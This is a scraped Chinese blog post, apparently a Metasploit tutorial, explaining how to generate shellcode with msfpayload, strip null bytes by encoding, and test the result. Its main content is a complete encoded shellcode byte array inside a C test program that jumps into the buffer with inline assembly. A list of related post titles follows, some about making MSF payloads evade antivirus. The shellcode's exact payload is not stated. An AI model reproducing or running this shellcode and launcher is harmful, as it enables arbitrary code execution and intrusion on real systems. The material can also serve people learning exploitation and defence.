使用msfpayload生成shellcode
来源:互联网 发布:auglar.js 编辑:程序博客网 时间:2024/04/28 22:12
先查看下帮助
使用-l参数配合grep查看可以用的payloads
查询payload的必填参数信息(msfpayload payload_name o)
用键值对的方式传递参数值,并选择shellcode的导出格式(可以仔细看下-h的帮助提示信息)
我们发现这个shellcode里面存在很多\x00这个在字符串拷贝的时候会被截断,所以我们需要通过编码的方式去掉这些\x00
然后测试下shellcode是否能正常使用,测试代码如下
#include <stdio.h>unsigned char buf[] = "\xe8\xff\xff\xff\xff\xc0\x59\x6a\x05\x5e\x29\xf1\x81\xe9\xad""\xff\xff\xff\x89\xc8\x2d\xfe\xff\xff\xff\xbf\xcc\xb5\xb7\x27""\x81\xc7\xd1\x49\x48\xd8\xf7\xd7\xff\x30\x5b\xc1\xe3\x10\xc1""\xeb\x10\x8d\x40\x02\x0f\xb7\x11\x89\xd6\x09\xde\x21\xda\xf7""\xd2\x21\xf2\x66\x52\x66\x8f\x01\x81\xe9\xfe\xff\xff\xff\x4f""\x85\xff\x0f\x85\xd3\xff\xff\xff\xe2\xa9\x1e\x41\x97\x41\x97""\x41\xf7\xc8\x12\xf9\xc0\x9d\x4b\xcf\x7b\x44\x29\x48\xa2\x1a""\xb6\x91\xc4\xb9\xcb\x0e\x81\x28\xb0\xd7\x81\x17\x2d\x2b\x4c""\x57\x4e\x7b\x6e\xba\xa1\xb7\xa0\x70\x42\x80\x10\xd7\x9b\x85""\x8b\x0e\xc9\x32\xc8\xe2\x43\xa2\x3b\x27\xfb\x53\xb1\x52\x61""\x02\xea\x4a\xf2\xc1\xaa\xe1\xab\x32\x48\x0e\x01\x85\x35\x0e""\x34\xd8\x05\x27\x34\xe7\x98\x26\x57\x2b\x56\xec\x6e\x0c\x1b""\xf8\x18\x85\xe0\xbe\x9d\x9a\xe8\x78\xb0\xf3\xe8\xd7\xe9\x04""\x8f\x8f\x83\xc4\x08\x9c\x14\x9d\xc7\x16\xc3\x9d\xc2\x4d\x4b""\x09\x6f\x2d\x34\x76\x55\x2f\x0f\x7e\xf0\x9e\xa8\xc1\xf2\x4a""\xe0\xa1\x66\xfc\x0c\xfd\x81\x78\x38\x78\x38\x78\x68\x10\x59""\x9b\x36\x1c\xc9\xc9\x72\x37\x7c\x05\x96\x6d\x30\xf8\x8d\x65""\x72\xb0\x4e\xb6\x32\xbc\xb2\x47\x52\x32\x57\x89\x10\x9a\x62""\xf5\x08\xf5\x5b\x0a\x8e\x69\xef\x05\x8c\x05";void main(){__asm{lea eax,bufpush eaxret}}
0 0
- 使用msfpayload生成shellcode
- Msfpayload
- 生成shellcode
- 生成shellcode
- 使用MSF生成的shellcode打造免杀payload
- 使用MSF生成的shellcode打造免杀payload
- Metasploit生成Stage shellcode
- 如何生成stage shellcode
- msfvenom生成shellcode
- msfvenom 生成shellcode
- msf生成shellcode msfshe
- 能够生成木马的ShellCode
- 使用C编写shellcode
- shellcode
- Shellcode
- Shellcode
- shellcode
- shellcode
- Howto: Linux Add User To Group
- c/c++: 多线程编程基础讲解(三)
- UNITY 3D 下拉列表的设置(popup list)
- Howteen使用方法
- MySQL性能调优my.cnf详解
- 使用msfpayload生成shellcode
- c/c++: 多线程编程基础讲解(四)
- Java日期时间(Date/Time)(附Date.java源码)
- mysql数据库自增id用法大全_MySQL
- c/c++: 多线程编程基础讲解(五)
- c/c++: 多线程编程基础讲解(六)
- TRACKER : error TRK0005: Failed to locate: "CL.exe". 系统找不到指定的文件。
- c++ builder 阻塞模式 socket 教程 说明
- acm 各种树的合集